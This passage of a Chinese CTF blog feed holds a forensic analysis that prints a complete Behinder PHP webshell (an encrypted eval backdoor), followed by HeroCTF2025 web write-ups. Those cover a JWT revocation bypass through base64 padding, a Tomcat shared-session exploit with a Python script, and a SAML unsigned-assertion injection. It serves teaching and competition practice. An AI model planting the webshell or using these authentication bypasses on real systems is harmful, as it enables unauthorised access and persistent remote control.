Timestamps,POST /register.php HTTP/1.1\\r\\n,\\r\\n,Form item: &quot;username&quot; = &quot;zhangsan1&quot;,Form item: &quot;email&quot; = &quot;19884562@qq.com&quot;,Form item: &quot;password&quot; = &quot;zhangsan123&quot;,Form item: &quot;confirm_password&quot; = &quot;zhangsan123&quot;,Form item: &quot;name&quot; = &quot;zhangsan1&quot;,Form item: &quot;gender&quot; = &quot;男&quot;,Form item: &quot;birthday&quot; = &quot;2025-04-01&quot;,Form item: &quot;id_card&quot; = &quot;101120012520133401&quot;,Form item: &quot;phone&quot; = &quot;19985236457&quot;,Form item: &quot;address&quot; = &quot;&quot;
Timestamps,POST /register.php HTTP/1.1\\r\\n,\\r\\n,Form item: &quot;username&quot; = &quot;zhangsan2&quot;,Form item: &quot;email&quot; = &quot;19884562@qq.com&quot;,Form item: &quot;password&quot; = &quot;zhangsan123&quot;,Form item: &quot;confirm_password&quot; = &quot;zhangsan123&quot;,Form item: &quot;name&quot; = &quot;zhangsan1&quot;,Form item: &quot;gender&quot; = &quot;男&quot;,Form item: &quot;birthday&quot; = &quot;2025-04-01&quot;,Form item: &quot;id_card&quot; = &quot;101120012520133401&quot;,Form item: &quot;phone&quot; = &quot;19985236457&quot;,Form item: &quot;address&quot; = &quot;&quot;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;方法一：查看单个数据包的详细内容&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;使用 -V 参数可以展示数据包的完整解码信息。在输出中找到 HTML Form URL Encoded 部分，即可看到提交的表单数据。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tshark -r hacker的流量.pcapng -Y &quot;http.
request.method == POST &amp;amp;&amp;amp; http.request.
uri == \&quot;/register.php\&quot; &amp;amp;&amp;amp; ip.src == 192.
168.37.177&quot; -V -c 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;方法二：批量提取关键文本信息&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;使用 -e text 可以提取 HTTP 层面的描述文本，配合 grep 过滤，能快速看到所有注册请求中的用户名信息。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tshark -r hacker的流量.pcapng -Y &quot;http.
request.method == POST &amp;amp;&amp;amp; http.request.
uri == \&quot;/register.php\&quot; &amp;amp;&amp;amp; ip.src == 192.
168.37.177&quot; -T fields -e text | grep 
&quot;username&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;执行第二条命令后，你会看到类似如下的输出，清晰地展示了批量注册的 zhangsan 系列账号：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Form item: &quot;username&quot; = &quot;zhangsan47&quot;,Form 
item: &quot;email&quot; = &quot;...&quot;
Form item: &quot;username&quot; = &quot;zhangsan48&quot;,Form 
item: &quot;email&quot; = &quot;...&quot;
Form item: &quot;username&quot; = &quot;zhangsan49&quot;,Form 
item: &quot;email&quot; = &quot;...&quot;
...
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;奇怪的shell文件&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;目录结构分析&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;首先，我们对提供的目录 \奇怪的shell文件\phpstudy_pro 进行浏览。通常，Web 根目录位于 WWW 文件夹下。
进入 \奇怪的shell文件\phpstudy_pro\WWW ，我们看到这是一个基于 EMLOG 博客系统的网站（根据 include/lib/emcurl.php 等文件头部的注释判断）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;异常文件定位&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在 Web 目录中，我们重点关注通常容易被攻击者利用的目录，如上传目录 ( uploadfile )、插件目录 ( content/plugins ) 或模板目录 ( content/templates )。&lt;/p&gt;
&lt;p&gt;通过对代码中敏感函数（如 eval , assert , system 等）的搜索，或者人工排查目录，我们在插件目录中发现了一个极具可疑性的文件：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;路径 : \奇怪的shell文件\phpstudy_pro\WWW\content\plugins\tips\shell.php&lt;/li&gt;
&lt;li&gt;可疑点 :
&lt;ol&gt;
&lt;li&gt;文件名 shell.php 非常直白，与正常插件文件命名风格（如 tips.php ）不符。&lt;/li&gt;
&lt;li&gt;位于 tips 插件目录下，该目录通常只包含功能性脚本。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;样本分析&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我们读取 shell.php 的源代码进行深入分析：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
@error_reporting(0);
session_start();
    $key=&quot;e45e329feb5d925b&quot;; //该密
    钥为连接密码32位md5值的前16位
    $_SESSION[&apos;k&apos;]=$key;
    session_write_close();
    $post=file_get_contents(&quot;php://
    input&quot;);
    if(!extension_loaded
    (&apos;openssl&apos;))
    {
        $t=&quot;base64_&quot;.&quot;decode&quot;;
        $post=$t($post.&quot;&quot;);
        
        for($i=0;$i&amp;lt;strlen($post);
        $i++) {
                 $post[$i] = $post
                 [$i]^$key[$i+1&amp;amp;
                 15]; 
                }
    }
    else
    {
        $post=openssl_decrypt
        ($post, &quot;AES128&quot;, $key);
    }
    $arr=explode(&apos;|&apos;,$post);
    $func=$arr[0];
    $params=$arr[1];
    class C{public function 
    __invoke($p) {eval($p.&quot;&quot;);}}
    @call_user_func(new C(),
    $params);
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;关键特征提取&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;密钥注释 :
代码第 4 行： $key=&quot;e45e329feb5d925b&quot;; //该密钥为连接密码32位md5值的前16位 。
这是该工具服务端脚本最显著的特征之一，直接说明了密钥的生成方式。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;加密通信 :
代码第 19 行： $post=openssl_decrypt($post, &quot;AES128&quot;, $key); 。
代码逻辑显示，它优先尝试使用 OpenSSL 扩展进行 AES128 解密。如果不支持 OpenSSL，则回退到异或（XOR）加密。这种强加密通信流量是 冰蝎 (Behinder) 的核心特性，旨在绕过 WAF 检测。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;执行逻辑 :
代码第 24-25 行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class C{public function __invoke
($p) {eval($p.&quot;&quot;);}}
@call_user_func(new C(),$params);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;利用 call_user_func 和魔术方法 __invoke 来动态执行解密后的 Payload，这也是为了规避静态查杀。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;工具溯源&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;根据上述特征，特别是 AES128 加密和特定的注释说明，我们可以确定这是 冰蝎 (Behinder) 的服务端 PHP 脚本（通常对应 3.0 或更高版本）。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;菜刀 (Chopper) : 通常是一句话木马 eval($_POST[&apos;cmd&apos;]) ，流量为明文或简单的 Base64。&lt;/li&gt;
&lt;li&gt;蚁剑 (AntSword) : 支持自定义编码器，但默认特征通常没有如此复杂的 AES 协商逻辑，且默认不带此类特定注释。&lt;/li&gt;
&lt;li&gt;哥斯拉 (Godzilla) : 也有加密流量，但其 PHP Shell 通常包含 session_start 后对 $_SESSION 的特定操作逻辑与冰蝎不同，且通常不会有 &quot;该密钥为连接密码...&quot; 这样的中文注释。&lt;/li&gt;
&lt;li&gt;冰蝎 (Behinder) : 默认 Shell 完美匹配上述代码结构。&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>HeroCTF2025</title><link>https://sinqwq.top/posts/heroctf2025/</link><guid isPermaLink="true">https://sinqwq.top/posts/heroctf2025/</guid><description>HeroCTF2025</description><pubDate>Mon, 01 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;web&lt;/h1&gt;
&lt;h2&gt;Revoked&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;import os
import secrets
import sqlite3
import time
from functools import wraps

import bcrypt
import jwt
from dotenv import load_dotenv
from flask import (
    Flask,
    flash,
    jsonify,
    make_response,
    redirect,
    render_template,
    request,
)

app = Flask(__name__)
app.static_folder = &quot;static&quot;
load_dotenv()
app.config[&quot;SECRET_KEY&quot;] = &quot;&quot;.join(
    [secrets.choice(&quot;abcdef0123456789&quot;) for _ in range(32)]
)
FLAG = os.getenv(&quot;FLAG&quot;)


def init_db():
    conn = sqlite3.connect(&quot;database.db&quot;)
    cursor = conn.cursor()
    cursor.execute(&quot;&quot;&quot;DROP TABLE IF EXISTS employees;&quot;&quot;&quot;)
    cursor.execute(&quot;&quot;&quot;DROP TABLE IF EXISTS revoked_tokens;&quot;&quot;&quot;)
    cursor.execute(&quot;&quot;&quot;DROP TABLE IF EXISTS users;&quot;&quot;&quot;)
    cursor.execute(&quot;&quot;&quot;CREATE TABLE IF NOT EXISTS users (
                        id INTEGER PRIMARY KEY AUTOINCREMENT,
                        username TEXT UNIQUE NOT NULL,
                        is_admin BOOL NOT NULL,
                        password_hash TEXT NOT NULL)&quot;&quot;&quot;)
    cursor.execute(&quot;&quot;&quot;CREATE TABLE IF NOT EXISTS revoked_tokens (
                        id INTEGER PRIMARY KEY AUTOINCREMENT,
                        token TEXT NOT NULL)&quot;&quot;&quot;)
    cursor.execute(&quot;&quot;&quot;CREATE TABLE IF NOT EXISTS employees (
                        id INTEGER PRIMARY KEY AUTOINCREMENT,
                        name TEXT NOT NULL,
                        email TEXT UNIQUE NOT NULL,
                        position TEXT NOT NULL,
                        phone TEXT NOT NULL,
                        location TEXT NOT NULL)&quot;&quot;&quot;)
    conn.commit()
    conn.close()


def get_db_connection():
    conn = sqlite3.connect(&quot;database.db&quot;)
    conn.row_factory = sqlite3.Row
    return conn


def token_required(f):
    @wraps(f)
    def decorated(*args, **kwargs):
        token = request.cookies.get(&quot;JWT&quot;)
        if not token:
            flash(&quot;Token is missing!&quot;, &quot;error&quot;)
            return redirect(&quot;/login&quot;)

        try:
            data = jwt.decode(token, app.config[&quot;SECRET_KEY&quot;], algorithms=[&quot;HS256&quot;])
            username = data[&quot;username&quot;]

            conn = get_db_connection()
            user = conn.execute(
                &quot;SELECT id,is_admin FROM users WHERE username = ?&quot;, (username,)
            ).fetchone()
            revoked = conn.execute(
                &quot;SELECT id FROM revoked_tokens WHERE token = ?&quot;, (token,)
            ).fetchone()
            conn.close()

            if not user or revoked:
                flash(&quot;Invalid or revoked token!&quot;, &quot;error&quot;)
                return redirect(&quot;/login&quot;)

            request.is_admin = user[&quot;is_admin&quot;]
            request.username = username

        except jwt.InvalidTokenError:
            flash(&quot;Invalid token!&quot;, &quot;error&quot;)
            return redirect(&quot;/login&quot;)

        return f(*args, **kwargs)

    return decorated


@app.route(&quot;/&quot;, methods=[&quot;GET&quot;])
def index():
    token = request.cookies.get(&quot;JWT&quot;, None)
    if token is None:
        return redirect(&quot;/login&quot;)
    else:
        return redirect(&quot;/employees&quot;)


@app.route(&quot;/register&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;])
def register():
    if request.method == &quot;GET&quot;:
        return render_template(&quot;register.html&quot;)
    elif request.method == &quot;POST&quot;:
        data = request.form
        username = data.get(&quot;username&quot;)
        password = data.get(&quot;password&quot;)

        if not username or not password:
            return jsonify({&quot;message&quot;: &quot;Username and password required!&quot;}), 400

        password_hash = bcrypt.hashpw(
            password.encode(&quot;utf-8&quot;), bcrypt.gensalt()
        ).decode(&quot;utf-8&quot;)

        conn = get_db_connection()
        try:
            conn.execute(
                &quot;INSERT INTO users (username, is_admin, password_hash) VALUES (?, ?, ?)&quot;,
                (username, False, password_hash),
            )
            conn.commit()
        except sqlite3.IntegrityError:
            flash(&quot;User already exists.&quot;, &quot;error&quot;)
            return redirect(&quot;/register&quot;)
        finally:
            conn.close()

        flash(&quot;User created successfully.&quot;, &quot;success&quot;)
        return redirect(&quot;/login&quot;)


@app.route(&quot;/login&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;])
def login():
    if request.method == &quot;GET&quot;:
        return render_template(&quot;login.html&quot;)
    elif request.method == &quot;POST&quot;:
        data = request.form
        username = data.get(&quot;username&quot;)
        password = data.get(&quot;password&quot;)

        conn = get_db_connection()
        user = conn.execute(
            &quot;SELECT * FROM users WHERE username = ?&quot;, (username,)
        ).fetchone()
        conn.close()

        if user and bcrypt.checkpw(
            password.encode(&quot;utf-8&quot;), user[&quot;password_hash&quot;].encode(&quot;utf-8&quot;)
        ):
            token = jwt.encode(
                {
                    &quot;username&quot;: username,
                    &quot;is_admin&quot;: user[&quot;is_admin&quot;],
                    &quot;issued&quot;: time.time(),
                },
                app.config[&quot;SECRET_KEY&quot;],
                algorithm=&quot;HS256&quot;,
            )
            resp = make_response(redirect(&quot;/employees&quot;))
            resp.set_cookie(&quot;JWT&quot;, token)
            return resp

        flash(&quot;Invalid credentials.&quot;, &quot;error&quot;)
        return redirect(&quot;/login&quot;)


@app.route(&quot;/logout&quot;, methods=[&quot;GET&quot;])
def logout():
    token = request.cookies.get(&quot;JWT&quot;)
    if token:
        conn = get_db_connection()
        conn.execute(&quot;INSERT INTO revoked_tokens (token) VALUES (?)&quot;, (token,))
        conn.commit()
        conn.close()
    resp = make_response(redirect(&quot;/login&quot;))
    resp.delete_cookie(&quot;JWT&quot;)
    return resp


@app.route(&quot;/employees&quot;, methods=[&quot;GET&quot;])
@token_required
def employees():
    query = request.args.get(&quot;query&quot;, &quot;&quot;)
    conn = get_db_connection()
    cursor = conn.cursor()
    cursor.execute(
        f&quot;SELECT id, name, email, position FROM employees WHERE name LIKE &apos;%{query}%&apos;&quot;
    )
    results = cursor.fetchall()
    conn.close()
    print(request.username)
    return render_template(&quot;employees.html&quot;, username=request.username, employees=results, query=query)


@app.route(&quot;/employee/&amp;lt;int:employee_id&amp;gt;&quot;, methods=[&quot;GET&quot;])
@token_required
def employee_details(employee_id):
    conn = get_db_connection()
    employee = conn.execute(
        &quot;SELECT * FROM employees WHERE id = ?&quot;, (employee_id,)
    ).fetchone()
    conn.close()
    print(employee)
    if not employee:
        flash(&quot;Employee not found&quot;, &quot;error&quot;)
        return redirect(&quot;/employees&quot;)
    return render_template(&quot;employee_details.html&quot;, username=request.username, employee=employee)


@app.route(&quot;/admin&quot;, methods=[&quot;GET&quot;])
@token_required
def admin():
    is_admin = getattr(request, &quot;is_admin&quot;, None)
    if is_admin:
        return render_template(&quot;admin.html&quot;, username=request.username, flag=FLAG)

    flash(&quot;You don&apos;t have the permission to access this area&quot;, &quot;error&quot;)
    return redirect(&quot;/employees&quot;)


if __name__ == &quot;__main__&quot;:
    init_db()
    app.run(debug=False, host=&quot;0.0.0.0&quot;, port=5000)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;考点是系统通过检查 revoked_tokens 表来判断 Token 是否失效。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# main.py
revoked = conn.execute(
    &quot;SELECT id FROM revoked_tokens WHERE token = ?&quot;, (token,)
).fetchone()

if not user or revoked:
    flash(&quot;Invalid or revoked token!&quot;, &quot;error&quot;)
    return redirect(&quot;/login&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里存在一个逻辑缺陷： SQL 查询使用的是精确字符串匹配 ，而 JWT 解码库 ( pyjwt ) 对 Base64 填充字符（Padding）是不敏感的 。
JWT 由三部分组成（Header.Payload.Signature），使用 Base64Url 编码。标准 Base64 编码的长度应该是 4 的倍数，不足时使用 = 填充。Base64Url 通常会省略 = ，但大多数解码器（包括 pyjwt ）都能同时处理带填充和不带填充的版本。&lt;/p&gt;
&lt;p&gt;如果我们在 Token 末尾添加一个 = （且不破坏 Base64 格式），对于 pyjwt 来说它仍然是同一个有效的 Token（解码出的二进制签名一致），但对于数据库来说，它是一个完全不同的字符串，从而绕过 revoked_tokens 表的黑名单检查。&lt;/p&gt;
&lt;h2&gt;Revoked Revenge&lt;/h2&gt;
&lt;p&gt;和Revoked一样有点hyw&lt;/p&gt;
&lt;h2&gt;Tomwhat&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;1. 源代码审计&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;通过分析题目提供的源码（&lt;code&gt;Dockerfile&lt;/code&gt;, &lt;code&gt;run.sh&lt;/code&gt;, Java Servlet 代码）：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;LightServlet (&lt;code&gt;/light/&lt;/code&gt;)&lt;/strong&gt;: 允许用户设置 session 中的 &lt;code&gt;username&lt;/code&gt;，但明确&lt;strong&gt;禁止&lt;/strong&gt;设置为 &lt;code&gt;darth_sidious&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (&quot;darth_sidious&quot;.equalsIgnoreCase(username)) {
    req.setAttribute(&quot;error&quot;, &quot;Forbidden username.&quot;);
    // ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;DarkServlet &amp;amp; AdminServlet (&lt;code&gt;/dark/&lt;/code&gt;)&lt;/strong&gt;: &lt;code&gt;AdminServlet&lt;/code&gt; 只有当 session 中的 &lt;code&gt;username&lt;/code&gt; 为 &lt;code&gt;darth_sidious&lt;/code&gt; 时才会输出 flag。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (&quot;darth_sidious&quot;.equalsIgnoreCase(username)) {
    html.append(&quot;&amp;lt;p&amp;gt;Welcome Lord Sidious, Vador says: Hero{fake_flag}.&amp;lt;/p&amp;gt;&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;2. 关键配置 (The &quot;Magic&quot;)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在 &lt;code&gt;run.sh&lt;/code&gt; 中，我们发现了几处关键的 Tomcat 配置修改：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Session 共享&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sed -i &apos;s/&amp;lt;Context&amp;gt;/&amp;lt;Context sessionCookiePath=&quot;\/&quot;&amp;gt;/&apos; &quot;$f&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这行命令将所有应用的 Session Cookie 路径设置为根目录 &lt;code&gt;/&lt;/code&gt;。这意味着，你在一个应用（如 &lt;code&gt;/light&lt;/code&gt;）中获得的 &lt;code&gt;JSESSIONID&lt;/code&gt;，在访问另一个应用（如 &lt;code&gt;/dark&lt;/code&gt;）时也会被浏览器发送。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;持久化存储&lt;/strong&gt;:
使用了 &lt;code&gt;PersistentManager&lt;/code&gt; 和 &lt;code&gt;FileStore&lt;/code&gt;，将 Session 存储在磁盘的临时目录下。这意味着只要 Session ID 相同，不同的 Web Context（应用）可以读取到同一个 Session 对象（前提是它们能反序列化其中的对象，这里是简单的 String，没问题）。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;3. 寻找突破口&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;既然 &lt;code&gt;/light&lt;/code&gt; 应用禁止我们设置 &lt;code&gt;darth_sidious&lt;/code&gt;，我们需要找到&lt;strong&gt;另一个&lt;/strong&gt;途径来往 Session 中写入数据。&lt;/p&gt;
&lt;p&gt;通过探测或经验可知，默认的 Tomcat 安装通常包含 &lt;code&gt;/examples/&lt;/code&gt; 示例应用。虽然题目描述中没有明确提及，但 &lt;code&gt;Dockerfile&lt;/code&gt; 是基于官方 Tomcat 镜像构建的，且没有删除默认应用。&lt;/p&gt;
&lt;p&gt;访问 &lt;code&gt;http://host:port/examples/&lt;/code&gt; 发现是存在的。
在 &lt;code&gt;/examples/servlets/servlet/SessionExample&lt;/code&gt; 中，有一个示例 Servlet 允许用户&lt;strong&gt;任意设置 Session 属性名和属性值&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;Exploit&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;利用 &lt;code&gt;/examples/&lt;/code&gt; 设置 Session&lt;/strong&gt;:
访问 Tomcat 自带的 Session 示例页面，构造请求将 &lt;code&gt;username&lt;/code&gt; 设置为 &lt;code&gt;darth_sidious&lt;/code&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;URL: &lt;code&gt;http://dyn06.heroctf.fr:14033/examples/servlets/servlet/SessionExample&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Parameters: &lt;code&gt;dataname=username&lt;/code&gt;, &lt;code&gt;datavalue=darth_sidious&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;访问 &lt;code&gt;/dark/admin&lt;/code&gt; 获取 Flag&lt;/strong&gt;:
由于 &lt;code&gt;sessionCookiePath=&quot;/&quot;&lt;/code&gt; 的配置，刚才获取的 &lt;code&gt;JSESSIONID&lt;/code&gt; 会自动带入到对 &lt;code&gt;/dark/admin&lt;/code&gt; 的请求中。Tomcat 会加载同一个 Session，读取到我们刚刚写入的 &lt;code&gt;username&lt;/code&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;自动化脚本 (Python)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests

base_url = &quot;http://dyn06.heroctf.fr:14033&quot;
session_url = f&quot;{base_url}/examples/servlets/servlet/SessionExample&quot;
admin_url = f&quot;{base_url}/dark/admin&quot;

s = requests.Session()

# 1. 利用 examples 应用设置 session 属性
# 这绕过了 LightServlet 的输入检查
print(f&quot;[*] Setting session attribute via {session_url}...&quot;)
payload = {
    &quot;dataname&quot;: &quot;username&quot;,
    &quot;datavalue&quot;: &quot;darth_sidious&quot;
}
s.get(session_url, params=payload)

# 2. 带着同一个 Session 访问 admin
print(f&quot;[*] Accessing {admin_url}...&quot;)
r = s.get(admin_url)

print(&quot;[*] Response:&quot;)
print(r.text)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;SAMLevinson&lt;/h2&gt;
&lt;p&gt;SAML 是一种基于 XML 的标准，用于在 &lt;strong&gt;身份提供商 (IDP)&lt;/strong&gt; 和 &lt;strong&gt;服务提供商 (SP)&lt;/strong&gt; 之间交换身份数据。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;正常流程&lt;/strong&gt;: 用户在 IDP 登录 -&amp;gt; IDP 生成包含用户信息的 XML (SAML Response) -&amp;gt; IDP 对其签名 -&amp;gt; 用户将 Response 发送给 SP -&amp;gt; SP 验证签名 -&amp;gt; SP 信任并登录用户。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;漏洞成因&lt;/strong&gt;:
在 &lt;code&gt;crewjam/saml&lt;/code&gt; 库的 0.4.9 版本之前，SP 在处理包含&lt;strong&gt;多个断言 (Assertion)&lt;/strong&gt; 的 SAML 响应时存在逻辑缺陷：
&lt;ol&gt;
&lt;li&gt;它会正确验证&lt;strong&gt;第一个&lt;/strong&gt;断言的数字签名。&lt;/li&gt;
&lt;li&gt;但是，在提取用户属性（如用户名、用户组）时，它会遍历&lt;strong&gt;所有&lt;/strong&gt;断言。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;利用点&lt;/strong&gt;: 攻击者可以在合法的、已签名的断言后面，追加一个&lt;strong&gt;恶意的、未签名的断言&lt;/strong&gt;。SP 验证了第一个断言的签名，认为响应合法，随后却读取了第二个恶意断言中的数据（如 &lt;code&gt;uid=admin&lt;/code&gt;），从而导致权限提升。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;第一步：环境探测与正常登录&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;题目提供了两个 URL：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SP (应用端)&lt;/strong&gt;: &lt;code&gt;http://web.heroctf.fr:8080&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IDP (认证端)&lt;/strong&gt;: &lt;code&gt;http://web.heroctf.fr:8081&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;以及普通用户凭证：&lt;code&gt;user&lt;/code&gt; / &lt;code&gt;oyJPNYd3HgeBkaE%!rP#dZvqf2z*4$^qcCW4V6WM&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;我们首先进行一次正常的登录流程，目的是获取一个&lt;strong&gt;合法的 SAMLResponse&lt;/strong&gt;。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;访问 &lt;code&gt;http://web.heroctf.fr:8080/flag&lt;/code&gt;，被重定向到 IDP。&lt;/li&gt;
&lt;li&gt;使用提供的账号密码在 IDP 登录。&lt;/li&gt;
&lt;li&gt;IDP 验证通过后，会生成一个 HTML 表单，自动 POST 提交 &lt;code&gt;SAMLResponse&lt;/code&gt; 给 SP。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;关键操作&lt;/strong&gt;: 我们需要拦截并保存这个原始的 &lt;code&gt;SAMLResponse&lt;/code&gt; (Base64 编码字符串)。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;第二步：构造恶意 Payload (SAML 注入)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这是解题的核心。我们需要编写脚本处理 XML。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;逻辑如下：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;解码&lt;/strong&gt;: 将拦截到的 Base64 字符串解码为 XML 文本。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;定位合法断言&lt;/strong&gt;: 在 XML 中找到 &lt;code&gt;&amp;lt;saml:Assertion&amp;gt;&lt;/code&gt; 节点。这是由 IDP 签名的，我们要保留它以通过 SP 的签名验证。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;克隆并伪造&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;复制&lt;/strong&gt;: 将该 Assertion 节点完整复制一份。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;去签&lt;/strong&gt;: 删除副本中的 &lt;code&gt;&amp;lt;ds:Signature&amp;gt;&lt;/code&gt; 节点（因为我们没有 IDP 的私钥，无法生成有效签名，且留着无效签名会导致验证失败）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;修改 ID&lt;/strong&gt;: 为副本生成一个新的随机 &lt;code&gt;ID&lt;/code&gt; 属性（避免 ID 冲突）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;提权&lt;/strong&gt;: 修改副本中的属性值。
&lt;ul&gt;
&lt;li&gt;将 &lt;code&gt;uid&lt;/code&gt; 的值从 &lt;code&gt;user&lt;/code&gt; 改为 &lt;code&gt;admin&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;将 &lt;code&gt;eduPersonAffiliation&lt;/code&gt; 的值从 &lt;code&gt;Users&lt;/code&gt; 改为 &lt;code&gt;Administrators&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;注入&lt;/strong&gt;: 将伪造的 Assertion 插入到 XML 的 &lt;code&gt;&amp;lt;samlp:Response&amp;gt;&lt;/code&gt; 根节点中，紧跟在合法 Assertion 之后。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;编码&lt;/strong&gt;: 将修改后的 XML 重新进行 Base64 编码。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;第三步：发送攻击请求&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;使用 &lt;code&gt;curl&lt;/code&gt; 或 Python 脚本，向 SP 的 ACS (Assertion Consumer Service) 接口发送 POST 请求。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;URL&lt;/strong&gt;: &lt;code&gt;http://web.heroctf.fr:8080/saml/acs&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Data&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;RelayState&lt;/code&gt;: (保持原始登录流程中的值)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SAMLResponse&lt;/code&gt;: (我们伪造的 Base64 字符串)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;4. Payload 结构可视化&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;修改后的 XML 结构大致如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;samlp:Response ...&amp;gt;
    &amp;lt;!-- 1. 合法的、已签名的断言 (用于绕过签名验证) --&amp;gt;
    &amp;lt;saml:Assertion ID=&quot;id-valid-signed&quot;&amp;gt;
        &amp;lt;ds:Signature&amp;gt; ... (有效的 IDP 签名) ... &amp;lt;/ds:Signature&amp;gt;
        &amp;lt;saml:Attribute Name=&quot;uid&quot;&amp;gt;user&amp;lt;/saml:Attribute&amp;gt;
        &amp;lt;saml:Attribute Name=&quot;eduPersonAffiliation&quot;&amp;gt;Users&amp;lt;/saml:Attribute&amp;gt;
    &amp;lt;/saml:Assertion&amp;gt;

